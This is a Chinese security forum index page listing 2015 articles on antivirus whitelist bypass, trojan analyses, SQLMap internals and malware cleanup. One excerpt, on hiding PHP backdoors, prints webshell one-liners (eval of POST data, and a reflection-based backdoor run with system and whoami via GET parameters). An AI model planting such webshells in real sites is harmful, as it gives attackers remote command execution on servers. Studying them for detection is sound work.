发帖
扫码访问
 注册
 登录
首页 › 网络安全›安全学院

安全学院

  • 利用白名单绕过360实例
    利用白名单绕过360实例
    0x00 前言 最近 subTee 在其博客中介绍了如何利用白名单绕过防护，但细节存在 bug ，所以本文仅介绍如何修复其 bug 并利用该方法绕过 360 ，更多利用方法值得探索 博客链接： http://subt0x10.blogspot.hk/ （需 ...
    2015-9-18 09:16 3043
  • 数据库安全审计常见8种缺陷
    数据库安全审计常见8种缺陷
    随着信息化的发展，数据库安全问题成为当前政府和企事业单位用户关注的焦点，数据库审计产品已经成为当前信息安全产品的盛宠。 当前在市面上存在着几十种数据库审计产品，这些产品集中起来大约可分四种类型： (1)在 ...
    2015-9-18 09:15 4918
  • 漏洞,安全网址大全
    漏洞,安全网址大全
    漏洞查找网站：http://www.wooyun.org/http://www.scap.org.cnhttp://www.securityfocus.com/bidhttp://vil.nai.com/vil/default.asphttp://www.nessus.org/demo/http://www.securityfocus.com/archive/1 http://www ...
    2015-9-14 17:20 2332
  • 用中国移动手机分享热点，小心你的邮件泄露
    用中国移动手机分享热点，小心你的邮件泄露
    “世界上最遥远的距离是，我在你身边，你却在找WIFI。”这句调侃正是“手机族”的真实写照。当人们越来越依赖手机，突然某一刻找不到网络时，很多人必然很抓狂。 也许你会说：没关系，我们还有热点分享。但是，你有 ...
    2015-9-11 17:17 2156
  • SQLMap的前世今生（Part1）
    SQLMap的前世今生（Part1）
    一、前言 谈到SQL注入，第一时间就会想到神器 SQLMAP，SQLMap是一款用来检测与利用的SQL注入开源工具。那么SQLMap在扫描SQL的逻辑到底是怎样实现的呢，接下来就探讨下 SQLMap的扫描逻辑，通过了解SQLMap的扫描逻辑打 ...
    2015-9-11 17:10 1669
  • 解密”Qadars”银行木马
    解密”Qadars”银行木马
    最近，我注意到一个讨论Qadars银行木马的论坛主题，并且在当时，Qadars银行木马在VT(virustotal.com)的检测率非常低(4/56)，SHA1:563379a48d876f6c35317bb7551efeb55754123056109ab030d1e796ae1b9c2c。 我觉得它是一 ...
    2015-9-10 11:35 1689
  • “短信拦截马”黑色产业链与溯源取证研究
    “短信拦截马”黑色产业链与溯源取证研究
    根据猎 豹安全实验室的云端监控数据显示，近1个月截获的“短信拦截”类样本变种数量超过10万，影响用户数达数百万之多。“短信拦截”木马作为安卓手机病毒中的 一类常见样本，近两年来显现出爆发增长的趋势，其背后 ...
    2015-9-8 16:01 2937
  • BWAPP：一款非常好用的漏洞演示平台
    BWAPP：一款非常好用的漏洞演示平台
    写在开头 由于工作需要，想找一款比较好的漏洞演示平台，发现freebuf之前有朋友提到bwapp这个平台，研究了一下觉得挺不错，而网上大部分漏洞演示平台的介绍都是关于webgoat和dvwa的，对bwapp的介绍却非常少。所以决 ...
    2015-9-7 15:23 14688
  • Linux下随机10字符病毒的清除
    Linux下随机10字符病毒的清除
    故障表现：登陆服务器执行sar –n DEV，查得向外流量输出达到120Mbit/s多，cacti显示占满总出口流量故障判断：关闭所有对外应用服务，即tomcat、nginx、vsftp，但关闭之后发现流量依然非常高使用Ps –ef和netstat -n ...
    2015-9-6 11:54 6440
  • PHP Web木马扫描器代码分享
    PHP Web木马扫描器代码分享
    不废话了，直接贴代码了。 代码如下： ?123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858 ...
    2015-9-6 11:51 2225
  • Windows 10开始菜单“慢如狗”？有三种方法缓解
    Windows 10开始菜单“慢如狗”？有三种方法缓解
    开始菜单是 Windows 10 的重要特性之一，微软声称其能给从 Windows 8 升级到 Windows 10 的用户带来一种亲切而熟悉的感觉，因为它既带回了 Windows 7 上传统的展开方式，而且还融入了 Windows 8 系统最具代表性的动 ...
    2015-9-2 18:41 1808
  • 揭秘：iOS恶意软件KeyRaider如何盗取超过22.5万苹果账户
    揭秘：iOS恶意软件KeyRaider如何盗取超过22.5万苹果账户
    最近威锋技术组发布微博称发现苹果商店后台存在漏洞，22.5万有效苹果账户密码被盗。他们对外公布了iCloud账号泄露查询工具（地址），只要输入用户邮箱，就可以查询其iCloud帐号是否被盗。 在与威锋技术组的合作过程 ...
    2015-9-1 11:53 7381
  • 知名论坛系统MyBB被爆0day漏洞
    知名论坛系统MyBB被爆0day漏洞
    MyBB是国际上非常优秀的免费论坛软件，最大的特色是简单但是功能却出奇的强大。支持多国语言，可以分别设置前台后台的语言，每个用户都可以设置自己使用何种语言访问论坛包括自己的时区等，自定义功能强大到没有做不 ...
    2015-8-31 11:53 1646
  • 流量僵尸木马及流量黑产分析报告
    流量僵尸木马及流量黑产分析报告
    第一章 木马概述 一、木马危害 近期，360互联网安全中心检测发现有90款手机 应用的部分样本被混入了一段云控代码，该段代码会在用户不知情的情况下，从网上下载恶意插件msg.jar，msg.jar释放后在后台静默访问某知名 ...
    2015-8-28 18:53 3036
  • php后门隐藏技巧
    php后门隐藏技巧
    一句话 and 大马phpspy 菜刀一句话?php@eval($_POST);?反射后门?php$func = new ReflectionFunction($_GET);echo $func-invokeArgs(array($_GET));?调用如x.php?m=systemc=whoami后门也可绕过某些检测禁用system函数 ...
    2015-8-28 18:51 4024
1 ...141142143144145146147148... 1000下一页

相关分类

返回顶部